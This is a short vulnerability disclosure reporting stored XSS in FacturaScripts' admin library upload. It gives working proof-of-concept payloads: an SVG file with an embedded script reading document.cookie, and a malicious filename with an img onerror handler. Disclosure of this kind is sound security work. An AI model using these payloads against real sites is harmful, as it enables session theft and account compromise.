Description

Hi There, facturascripts is vulnerable to store XSS by upload svg file, and the filename

Step to produce with svg file

Login as admin or any account has role Admin->Library, access Admin -> library -> New and upload file svg with content:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.cookie);
   </script>
</svg>

save this. XSS will be trigger when you download it.

Step to produce with file name payload:

just upload file with the file name: %22><img src=x onerror=alert(document.cookie).xlsx -> xss will be trigger

Impact

This vulnerability has the potential to deface websites, result in compromised user accounts, and can run malicious code on web pages, which can lead to a compromise of the user’s device.